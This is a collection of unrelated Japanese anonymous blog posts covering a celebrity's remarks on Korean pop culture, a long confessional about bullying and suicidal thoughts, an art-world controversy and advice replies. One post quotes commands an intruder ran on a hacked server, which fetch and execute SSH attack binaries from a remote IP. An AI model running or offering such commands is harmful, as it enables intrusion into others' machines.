俳優の高岡蒼甫さんが、韓流ブームを煽り立てるマスコミに感じた違和感をtwitterでつぶやいて、
騒動になっている。
ただの芸能人のつぶやきならば、そこまで大騒ぎにならなかっただろう。
だが、彼は数年前の記者会見で、
と発言したと報道されて以来、「反日親韓」という考え方の持ち主として有名だったから、
今回の彼の発言はまったくの予想外で、多くの人々に大きな驚きをもたらした。
韓流ブームを煽り立てるマスコミへの不信感のためか、彼を祭り上げる声が大きくなった所に、
彼の解雇というショッキングな結果が報じられ、彼への同情の声が広がっている。
今日になって、渦中にある彼自身の本音がブログへとアップされた。
http://blog.livedoor.jp/tkok_sosk_8228/archives/52293253.html
個人の声が抹殺されず、人々に直接届くという点で、いい時代となった。
そのブログに集まったコメントは現時点で5000を超えている。
それだけ、韓流ブームの押し付けに、人々が辟易していたということだろう。
だが、ついこの間までは反日だと叩いておきながら、今度は彼を誉めそやす人々の急変ぶりには、
まるで振り子が左右に大きく振れて行ったり来たりしているのを見ているようなもどかしさを感じる。
動いているけれども、同じ場所を移動しているだけで、決して前には進んでいない。
今では韓国なら全てをありがたがるマスコミの態度にも、似ていないだろうか。
中国バンザイの記事ばかり書いていたのに、尖閣諸島問題で反中感情が高まった煽りを受けたためか、
その代わりのように、韓国バンザイの報道が加熱するようになった。
蛇行するマラソンランナーが競技中に先頭に立つことはありえないだろう。
左右に大きくぶれてばかりでは、先に進まない。無駄な時間とエネルギーだけが消費されるだけだ。
私が子供の頃、韓国に関する報道など、日本漁船拿捕以外に聞いたことがない。
よりよい隣国関係を模索する、一般大衆の無意識な試行錯誤の結果なのかもしれないが、私たちがそれに
引きずられる必要はない。
行き過ぎた反韓もやめよう。
政府と国民を同一視する馬鹿げたことはやめ、歴史を真摯に受け止めて、反省すべき点は反省し続け、
同時に「通り名」などの在日韓国人に与えられた国際的にも異様な特権は、少しずつ廃止していこう。
彼らのよいところは正当に評価し、彼らの過ちには「日本人の過去の過ちとは別のものだ」と、正々堂々と
異議を唱えて、その横暴を決して許さない……こういう首尾一貫した態度を心がけていくようにしたいものだ。
今年は特に感じる。
例年のような鬼のような暑さを感じない。
少しずつ暑くなっていくのを実感できた。
そして7月末。例年並に暑くはない。
もしかしたら単純に、節電の影響でヒートアイランド減少が例年より軽減している効果なのかもしれない。
もしそうであればヒートアイランド現象での気温の違いを実感でき、賞賛に値するが、
そうでなく気候的なものだとするならば、少し怖い。(例年並に大暑じゃないのは嬉しいが)
http://b.hatena.ne.jp/entrylist?url=http://hunterdouga.blog94.fc2.com/
ここには概ね同意。
ことあるごとに「世間体が世間体が」「世間に笑われたくない」という。
世間なんてものがなければ、いくら自分の子供でも自由にすればと言う。
あと実家や地元と全く関わらなくなるのであれば、都会や違う地域に行って
しかしそう言ってる本人もTVでセクシャルマイノリティの人間が出れば
気持ち悪いと言っているんだが・・・。
おいおい、自分と世間の目に関係なければ気にしないんじゃないのかよ・・と。
結局、本当は自分自身の好みや価値観が先にあるのに、世間体という言葉を都合良く使って自分が恨まれないようにしているんだと思う。
いっそのこと、世間がどうであれ、「私が許せるか許せないか」
まだそう言ってくれた方がスッキリするのに。
ちなみに、その母は「女は男になってもいいが男は女になっちゃ駄目」とも言っていた。
自分自身が世間と同じ価値観だと思っているからこそ、相対的に世間体という言葉を使っても、
自分自身の気持ちとイコールなんだと思ってる面もあるのだろう。
それに自分の気持ちでなく、世間体という言葉を使えば同情してもらえるor自分が恨まれないと少なからず思っているのだろう。
(そういう意図はなくても、根底にそういう意思があってそれが普通になっちゃってるのだと思う)
そしてこういった母の弱点を指摘することはできない。
人生長いから。これからいろいろ起こるから。漠然でいいから希望を持とう。できれば好奇心も。出会うのは他者ー人でなくてもいい。動物でも、植物でも、あるいは環境でも、誰かへのやさしさも。
どうして苦しいことを認められなかったのか。
「かわいそう」でした。
人の世と隔たれた様なアフリカの小さな村での、矮小な自由から別の異質な自由を手に入れた彼等は、かわいそうでした。
彼等は学校に行けません。
彼等は人を愛せません。
彼等は私たちと同じじゃありません。
だからかわいそうでした。
皆大体同じことを考えたと思います。
今の社会では愛や希望と同じくらいに、他人の苦痛が氾濫しています。
そして情報化のおかげで感情というよくわからないものが相対化され、値札がつくようになりました。
違うのです。
周りの人も全然疑問は湧いてないようで、私もそう考えていました。
「苦しい」と言えば、
「お前より苦しい生活している人は一杯いる。」と言われ、
「死にたい」と言えば、
「お前が死にたがっている今日は、昨日死んだ奴が生きたかった明日なんだ」と言われる。
そしてそんな言葉を口にすること自体が恥ずかしく思われる様になり、中二病なんて名前が付けられる程になりました。
私は小学生の時に太っていることを理由にいじめられていました。いじめと言っても一部のクラスメイトなどに「デブ」などと言われるくらいなのでまぁ大そうなものではありませんが。はっきりとではありませんがその頃、デブでスポーツも出来ない私は全く価値の無い人間なのだと考えていたのですが、小学校高学年あたりでそのいじめはなくなりました。
理由は私の兄にありました。
私の兄は、かっこよくて、スポーツが出来て、私みたいに太っていなくて、そして、とてもユーモアのある人でした。
少し我の強い人でしたが、一緒に遊んだ時はなにかと私を笑わせてくれたのでその時の兄はとても好きでした。私はかっこよくないし、スポーツも出来ないけど、人を笑わせることなら出来るんじゃないか、と考えました。
実践してみれば簡単なことでした。
変顔をするだけで笑ってくれるし、デブと言われても開き直ればそれでまた皆笑ってくれる。ああ、自分の価値はここにあるんだなと思っていて、将来はお笑い芸人になろう、などと考えていました。
今思えばここが間違いだった、と感じています。
道化は見世物です。故に私という存在は指をさされ、馬鹿にされ、笑われるべき存在です。
そしてそのピエロは観客の嘲笑に包まれた喜びを糧に生きていくのです。
人の好奇心は底が無く、少しタガが外れれば面白いことならなんでもいい、と考えてしまいます。要するに、面白ければ私には何をしてもいい、という結論に至るのです。
私はそれを苦痛だと考えませんでした。
周りの人が笑ってくれることが喜びであり、それが快感でした。
ただ、やはり好奇心というものは一か所に止まらずに色んな方向に向くもので、自分では飽き足らず、いじめや、危ないいたずらもするようになりました。
私はそれを見ているのがとても嫌いでした。
笑うべきは私の存在であり、どんな下らない罵倒でもそれを身に受けるのは私の専売特許のはずでした。私の生きがいを横取りされたような気持になりました。
それは単純に、私は苦痛を喜びに変えただけであって、他人にとって苦痛はただの苦痛だったのですから。
私は本当にうれしいのか?
中学生になり、地元の学校だったので小学校のほとんどの生徒が同じ中学校に入学しました。思春期ですのでこの頃から自分の体型にコンプレックスをもつようになり、友達に部活の入部を勧められて、これは良い機会だと思い、サッカー部に入りました。
そうするとやはり、私を知らない人達も私を私として扱うのです。
わたしは結論しました。
部活に入ったお陰で自分でも見違える程痩せることが出来ました。しかし二年生になってすぐやめてしまいました。原因はいじめもありますが、何より私はスポーツのセンスが無いようで、後輩に馬鹿にされるのがこわくてやめて、というのが一番でした。
こう書いていると私はいつも教室の隅に追いやられているような生徒に感じると思いますが、私は交友関係が広く、人気もそこそこありました。情けないことに、私こそ周りの人達と同様に私を私として存在させていたのです。
何故なら、私はその私しか知らなかったからです。それに、今の私をやめてしまえば私の価値はどうなるのだろう、何か残るのだろうか、と考えていました。
中学生にもなると、いたずらなどを楽しむより、好奇心の側面としての、暴力的な行動が盛んになります。それで中学二、三年生では私はサンドバックでした。どこかで会う度に殴られるようになり、私のクラスでは暴力をけしかけるような人はいなかったので、教室の外へ出るのが恐くなりました。
勿論初めのころは抵抗していました。しかし、毎日、毎時間と続く暴力と、自分が未だに道化でいるという立場のせいで怒りを露わにすることができないという下卑た矜持と、そして何より、彼等の私に対する態度に絶望しました。
私が少しふてくされると、彼等は「ごめん」と言ってくれました。しかしすぐにまた同じことをするのです。その度に彼等は謝り、謝罪という行為の中に含まれているであろう自省や克己を蔑ろにして、5分前の誓約を堂々と捨てるのです。
一度、本気で怒ったことがありました。その日は珍しく喧嘩別れになったのですが、翌日にその人物は私に少し沈鬱な面持ちで謝罪してきました。私はその言葉を信じていました。しかしその翌日には何も変わってない、彼等と私の関係が在るだけで、自分が激怒した様子を真似された時は、名状しがたい、確かな殺意と、他人に対する恐怖と、途方もない呆れがないまぜになった感情で吐きそうになりました。その時、自分は人に怒ることはやめて、諦念が纏わりつくようになりました。
ただの暴力は一部の人間には大変興が乗るようですが、大半の人は一歩引くのが普通であって、いくらなんでも、やり過ぎではないのか、何故こんなことをするのかと聞くことにしました。この頃は最早彼等の前での私が思う私はただのいじめられっ子でした。
彼等いわく「お前を見ているとむかつくから」とのことでした。
なるほど私を見ていると苛立つのですかそうですか、じゃあ私はどうすればいいのだろうか、私という存在がむかつくのですかじゃあ私が消えればいいのですね。
彼等は私を少しも憎んでいないというのは知っていました。週末になれば遊んだりもするし、私を殴る以外にもコミュニケーションをとろうとするからです。一方私は殺意を持っていましたが、彼等に対する好意も持ち合わせていました。何故なら、暴力的じゃない彼等は面白くて、自分と対話してくれるからです。そして彼等は私をいじめていると考えていないのです。
限界はどうしても来てしまうものです。三年生頃には、家に帰って布団の中で泣くことが多くなりました。何故自分がこんな目に、自分は悪くない、やりかえそう、殺そう、という感情が渦巻くのですが、不思議なことに翌朝になると何事もなかったかの様にすっきりとしてしまうのです。一人で絶望を反芻する度に決意し、忘れる、ということを繰り返していました。同時に、私は学生生活を楽しんでいました。私でいることを楽しんでいたのです。
そして学校で面白い奴でいる私と家で惨めに布団にくるまって泣いている私とで、完全に乖離しました。
しかし私は希望も持っていました。自分の様子が変だと気付いた母親に尋ねられ、私は「馬鹿で嫌なやつがいる」とだけ言いました。すると母は、高校生にもなればそんなやつはいなくなる、と言ったので、私はなるほどと思い、多少の虚脱感と戦いながら勉強に励みました。高校生になれば自分は変われる、と信じながら。
勉強のお陰で、それなりの、県内で指五本のうちに入るか入らないかというレベルの高校に入学出来ました。少し離れたところにあり、何より自分を日常的に殴っていた人達はその高校に全くいなかったのでとても喜びました。
人格は変えることができませんが、キャラのようなものなら簡単に変えられると思っていました。しかし私はそこでも私を私として存在させたのです。
何故そんなことをするのか、私はいつまでも子供ではなく、自分の思考、行動の原因がわかるような年齢になりました。
私なりの結論でした。
そしてそれは正鵠を得ていました。
教科書を破られたり、靴を捨てられたり、落書きされたり、チョークを食べさせられたり。一日そんなことが無いと、何故か残念な気持ちになるのです。そして、私が望んだ苦痛を与えられると、不快な感情と同時に、安心できるのです。高校生にもなって、いじめられている悲劇的な私が好きなのです。皆から同情の目線で見られている私が好きで好きでしょうがないのです。しかし絶望もします。私は変わることができなかった。私は悪くないのに惨めなままだ、それは他人が無知蒙昧であるからだと怨み言が頭に並びます。
この頃、自殺願望がありました。しかし実際は死にたくなどありませんでした。何故なら私はまた、今の私を楽しんでいたのです。
高校三年生頃になると、受験シーズンとなり皆が勉強に励むのですが、私は中学生の頃の 様に大学に希望を持つことが出来ませんでした。それ以前に、普段の勉強からしてやる気になりませんでした。たまにやる気になって休み時間などに勉強していても、クラスの人が辞書を投げてきたり教科書を濡らされたりして勉強になりませんでした。
全てが嫌でした。
惨めに耐えているだけの自分が嫌でした。
こんな恥ずかしいことで頭がいっぱいになっている自分が嫌でした。
死にたい、とか、何故生きているのか、とかは子供が持つ感情であり、十八にもなった男子が持つべき感情じゃないのです。何より私は毎日学校に通えて、屋根のある家で寝食が出来て、家族がいるので、とても恵まれた人生を送っているのです。
私より不幸な人は世界中にいっぱいいるのです。私は、私の苦痛を認めることなど許しは出来ないのです。
二律背反の、板挟みの状態がずっと続きました。
学校で笑います。家に帰って泣きます。猿の様に自慰をします。寝ます。さっぱりして学校に行きます。この頃は寝ることと自慰行為が喜びでした。
私はそれでも狂えない。皆の前では面白いやつで、先生の前では立派なクラス委員です。おかしいはずなんです。頭が焼き切れるはずなんです。
しかし生きることを望みたくないのです。私が悲劇的であるためには。
生きることも、死ぬことも、選びとらずに責任を放棄したのです。
結局これが私の思春期の全てでした。
大学生になりました。
冬に勉強をそこそこにして、なんとか国立の大学に入り、親の前での面子を保たせました。
大学は県外で、更に海を渡ったので、実家に帰るにも一苦労なところまで来ました。と言っても別にその大学に行きたかった訳でなく、県外であり、かつ自分の学力で行ける範疇の大学を選んだだけでした。やりたいことも無ければ、大学生の遊びを謳歌したいわけではなく、またしても選ぶことをやめたのでこの結果になったということでした。
大学生にもなり、皆、落ち着いた行動をしている。それに慣れていなかったので戸惑ったのと同時に、自分の知っている自分がいないことに気付きました。
しかし確実に私と違うところがありました。
彼等は正常でした。
彼等には目的があり、良心があり、喜びがあり、夢があるのです。
彼等は何の疑問を持たず勉学に励むのです。
思い切り殴られた時より、制服をびりびりに裂かれた時より、この目を見るのが苦痛でした。
苦痛の得ることの出来ない私は、更に酷く、目を覆いたくなるようなことをするようになりました。
自分の苦痛を認めずに、自分をいじめた人間に同情をし始めました。彼等を誰も止められなかったのがいけないのだ、彼等の行いは環境のせいでありもし自分が彼等ならば同じことをしていた、と。傍観して楽しんでいた人達も同様に立場が逆なら私もそうするだろう、と。
苦痛の無いことが私には苦痛なのだ、苦痛を失えば私は私でいられないのだ、と。
使用期限の過ぎた苦痛に、記号と化してしまった過去の苦痛に相変わらず縋りついています。
行きたくは無かったのですが、身体が限界の様なので、最近になって心療内科に行ってみました。どうやらパニック障害のようです。しかしその症状は殆ど昔からあるもので私には馴染み深いものでした。この機会に精神科に行こうか、とも考えたのですが、この頭を治す気にはなってないのでやめておきました。
私は毎日働いて生きていくことに魅力を感じませんが死にたくはありません。生を望み、相も変わらず自慰をして寝る生活です。
結局私はいつまでも私なのです。変わることなど出来ませんし、忘れることも出来ません。意志も薄弱で、一人の大人としての責任も持てません。
しかし案外明日には希望を持って歩き出すかもしれませんし、誰かと衝撃的な出会いをして価値観が180度変わるかもしれません。
こんな人間になってしまいました。多分私は誰かに決めて貰うのを待っているのでしょう。そしてわかったような顔をして卑下をしながら斜に構えていればいいと考えるのでしょう。
私の苦痛は私だけのものです。他の不幸や苦痛と秤にかけることなど出来ないんだ!、とでも思えばよかったかもしれません。
でも結局子供ですし、そんな考えにはなかなか辿りつきませんよね。大変です人生は。
なんか最後の方で口調が変わっている気がしますし、長ったらしく冗長とした文をたっぷりと書きましたがこれもオナニー好きな私のオナニーです。不幸自慢みたいなのって気持ちいいですよね。書いたら少しすっきりしました。何も解決してませんが。
あるアダルト動画サイトが明らかにサクラアカウントをいくつか使って記事を新着エントリーリストに載せるようにしてるのがうざい
うちの大したことに使ってもいないのに常時稼動で外部公開なサーバがクラックされて以下のコマンドが実行されていた。
sh -c cd /tmp;wget ttp://195.69.220.2/dd_ssh;chmod 755 dd_ssh;./dd_ssh 50 217.79.190.53 2 >/dev/null 2>/dev/null sh -c cd /tmp;wget ttp://195.69.220.2/slowdssh;chmod 755 slowdssh;./slowdssh >/dev/null 2>/dev/null sh -c cd /tmp;killall -9 ssh2;wget ttp://195.69.220.2/ssh3;chmod 755 ssh3;./ssh3 200 72.20.14.174 >/dev/null 2>/dev/null
((正式なリンクだと502エラーが出て書き込めないのでhを抜いてあります。))
このコマンドを実行するとドイツのサーバからプログラムをダウンロードして実行するみたい。
ちなみに、いろんなサーバにssh接続を試みるプログラムっぽい。
このプログラムたちは2007年の11月頃にビルドしたApache/2.0.61にぶら下がって動いていた。
ログは綺麗さっぱりなくなっていて、2011年7月24日以降の情報しか残っていなかった。
どうやって侵入して実行したのか分からなかったけど、古いApacheと一緒に動いていたのでApacheを更新しなかった自分が悪いと思っている。
「dd_ssh」や「ssh3」の引数を書き換えて実行してみたいけど、それって犯罪じゃないかと思うと怖くてできない。
誰か詳しく調べてちょ。
増田が書いた事は、ボキャブラリーのない人とは増田自身が合わない、
コミュニケーション取りたくないってことだろう。
それを一括して大卒・非大卒と括るのはいささか早計だし乱暴すぎる。
大卒同士でも話が噛み合わなかったりうまく意思疎通できなかったりする人もいれば、
たかだか自分自身の経験を、大卒非大卒で括って定義付けするのはどうかと思う。
ビジネスシーンや、ボキャブラリー数・学歴が関わってくる現場に限定して語っているのであれば、
煽る通りそれらが必要だし、有利に働くのだろう。
しかしただの趣味繋がり、恋愛繋がりなどプライベートの交流の中では関係なくなる。
もちろん個人個人によって違う。
学歴低く、ボキャブラリー数が貧しくても幅広い人付き合いが出来る者もいれば
高学歴で知識やボキャブラリー数は豊富でも、人付き合いとなればてんで駄目になる者もいる。
増田は自分と合わない人間を、学歴やボキャブラリー数を盾にして言い訳にしてるだけじゃないだろうか。
そもそも、高学歴の人間でも低学歴の人間の分かる言葉で話してあげることこそが真の「コミュニケーション力」じゃないだろうか。
「有意義」ってのは「就職活動でアピールできるような活動」をさすんじゃね?
今私は、鬱状態で仕事を休んでいる。フリーランスのアーティストとして10年ほど。その半分以上を海外でくらし、今もヨーロッパの片隅にいる。
カオスラウンジというグループ、全く知らなかったが、なるほど、人々の怒りがよく分かる経緯だった。
面白いので、コラにはコラに対抗ということで、代表藤城嘘の作品や彼の写真をphotoshopで10分ほどやっつけでコラした絵をPixivに投稿。説明なしのアカウント削除→IPアドレス指定拒否→串刺しIPでの再UP→瞬殺アカウント死亡 などを繰り返して遊んだ。
http://www.rupan.net/uploader/download/1311933348.jpg
で、私の意見。
これ、日本の芸術にたいするマーケットのあり方や、芸大における教育とか、そういうことが根本にある。
まずマーケット。
これは日本だけでないけど、マーケットって、ようはお商売の世界。売れればいいの。芸術家も、批評家も、生活あるから、お金にしなくちゃいけない。
で、やっぱり、売れたものはみんな金魚のふんみたいについていくの。それは仕方ないこと、どこでも。
そのために役にたつのが権威(power)。カオスラウンジは村上隆と美術手帖がそのicon。
私は両方とも死ねと思っている。(殺害予告ではありません… 念のため) 正直。
村上隆は売れた。それはいい。オメデト。尊敬。でももともとサブ・カルなのに、権威的にふるまう?どうして?
本流に対してのalternativeなありかたとして出した、その経験の意味は?
美術手帖。いつも売れ線をおっかけ。責任おわない。コンテクストが脆弱(消極的な取材が透けて見える)。しょうがないけど。お商売だし。でももうちょっと、光を見せてよ、せっかく日本のマーケットで権威もっちゃったんだから。
僕は90年代に青春をすごしたから、今の日本の若い人とちょっと感覚ずれてるかもわからないけど、その時の感覚からすれば、分かる。
日本の人って、権威に弱い。テレビとか、どっかの大学の先生とか、批評家とか、マーケットとか、あとは身近な友人や家族なんかの意見にも。
もちろんどこでもそうだけど、日本はちょっと過剰だなーっておもう。
今自分が見てるもの、聴いているもの、食べているもの、感じているものを、どうやって、「いい」か「悪いか」判断できるだろう?
日本の人は、まず周りをみる。周りの様子にノル人、ソル人…
僕が暮らしいるところの人たちは、まず自分のフィーリングを聴く。で、それから周りの人も見る。それから、どうするかと考える。
yap, subjectは結局おなじなんだけど、順番が違うんだよね。僕がくらしている人たちは、まず自分の意見が先にくるんだよ。
例えば、スーパーマーケットにいって、入り口に物ごいがいる。ああ、かわいそうだなって思ったら、こっちの人はお金渡す。
日本の人は、まず、お金わたす自分の姿が周りからみてカッコワルイ、アタマヲカシイ?、ってかんがえて、無視する。
全員がそうでないけど、そういう傾向が、ある。
この順番が、カオスラウンジの人たちの行動にもよく見える。
http://d.hatena.ne.jp/lie_fujishiro/20110625
端的にいうと、ダサい。カッコワルイ。
同じ芸術家として、引用とかサンプリングについての立場はちょっと分かるよ。ちょっと。
でもさ、想像力って彼らは持っているんだろうか?
例えば満員電車の中で私が突然うんこしたら、みんな嫌がるだろーなーって、なんか創造できる、だから私はうんこしない。
やべぇ、うんこもれそう、もうしぬぅーーーーってなっても、みんな嫌がるだろーなーっておもうから、我慢して、次の駅までまって、でダッシュ。
ま、動機はカッコワルくなりたいってのもあるだろうけど、まぁおんなじように。
で、カオスラウンジの人たちは「ウンコしたい」で、すぐウンコしちゃってる。ブリブリ。
ネットのオタク文化いけてる、売れそう、俺好きやし、カッコええやん、よっしゃ、これで俺の作品つくったろ。
一方的。想像してない。それで誰が傷付くか。
みんな同じようなネタをずーっと話してたり、コラしてたり…。純粋だなーって思うのと、あと普通だなーって思う。
世の中の多くの人たちが、文化については保守的。日本をみたら、なんで演歌や歌謡曲が未だに紅白で重要な立ち位置を持っているかということ。
そういう人たち(=普通の人たち)の気持ちに思いを巡らすのが、やっぱり普通の人であるところの、普通の芸術家でないの?
少なくとも、私は自分自身芸術家としてそういうスタンスを譲らない。
あるいは、もし自覚的にそうした『普通』に対する反抗であるなら、最後までヤリきらないと。
炎上したから?ビジネス・パートナーが予定していた商品をキャンセルしたから?周りのエラい批評家にお説教されたから?
本当に反抗したいなら、まず梅沢ナントカという友達の作品を正当化して、ウルセェ、テメエラなんもわかっちゃいねぇんだよっていって、もっともっと同じ手法で作品を創らなくちゃ。で、その路線で別のパートナーをみつける、そこまでいかないと。
この謝罪、カッコワルイよ。
たぶん村上隆が翻ったのも、この日和見的なところ(態度)で、ア、コイツラ、シロウト。ってみやぶったんだと思う。
で、彼らがここまでやってこれたのが、日本の芸大etc.における芸術教育の影響だろうなぁと。
「売れる」ことを考えすぎ。たぶん、日本におけるfine artの伝統の不在が起因なんだろうけど。
自分が、一人の人間が、今思い、考え、感じていること、そしてそれによって目の前にある作品や起きている事象にたいする疑問を素直に「どうして?なぜ?」と問いかけること。こういう当たり前の姿勢がどうして求められないんだろう?
タマタマ自分がやっていることが売れ線だと。で、エラい批評かなり、curatorなりが、ヨイヨイ、といって、金だして、仕事なりコンタクトわたしたりして、ま、同業者として分かるっちゃ分かるけど、それで、自分がやっていることは全肯定できるのだろうか?
酔いが回ってきたので、またそのうち続きを書こう。
学歴が絶対ではないけど、高卒とか専門卒は頭より体を先に動かす場合がすごく多い。
あとから頭使ってくれればマシでコトが過ぎたあと喉元すぎればで振り返らないのがほとんど。
すでに買った人も、「ちょっと待てば値下げするんだったら待ってたよ」っていう人はいるわけで、積極的な損害はなくても消極的な損害はあるといえるだろう
他の方が書いてるように、今年齢はおいくつでしょうか。
小学校の話を持ち出す所を見ると実家暮らしの中~高校生あたりでしょうか。
寂しさを紛らわすために、通販で更に気軽に買えるようにカードを持つ・・・のはお薦めできません。
(例え社会人であったとしても)
第一に、内容を見ると買い物よりも他人との深い交流を求めているのか、
交流は諦めてカードを所有してもっと多く買い物をしたいのか・・・。
いったい何を一番に求めているのかが見えて来ません。
買い物はあまりしないが深い人付き合いを求めたいのか、
人付き合いも買い物(趣味)も求めたいのか。
人付き合いが煩わしいのであれば、買い物は通販で済ませられる時代なので
今の環境で問題ないと思いますが、今回そのように書かれたということは
もっといつでも気軽に人付き合いできる環境を求めているということですよね。
それならば他の方も書いているように、別に歓楽地や都市に出ずとも
年齢がわからないので何とも言えませんけれどね。
あなたが若ければ、絶対に今の家を出ることができないというわけでもありませんし。
実家住みの学生さんならば残念ながら進学するまで耐えるしかないでしょうね。
腰を据えて話せる友人がいないというのは、上辺だけで語れる友人はいるが、
どちらかが壁を作っちゃって腰を据えて話ができないという事なのでしょうか。
それとも求めていても、そういう上辺の友人すらも出来ずにいるのでしょうか。
浅かろうが深かろうが人付き合いや交流を求めているのに、現実で友人が出来辛い環境だったり、
先にネット上でオフを見越した親しい知人ができても環境要因で会えないならば、
しかし少なからず同世代もいるし、腹を割るまでは親しくないが一応友人もいるし、
ネット上でオフを見越した知人ができても腹割って話せないなど、
壁を作ったり偏見があったりして腰を据えて話ができない・・・というならば、キツイ言い方になりますが
帰宅すれば家の遠さ的に遊べないならば言いたい事もわかります。
だが、「腹を割って話せる人がいない」というのは同世代が溢れている学校にいる時間ですら
出来ていないということなので、家の遠さだなんて関係ありません。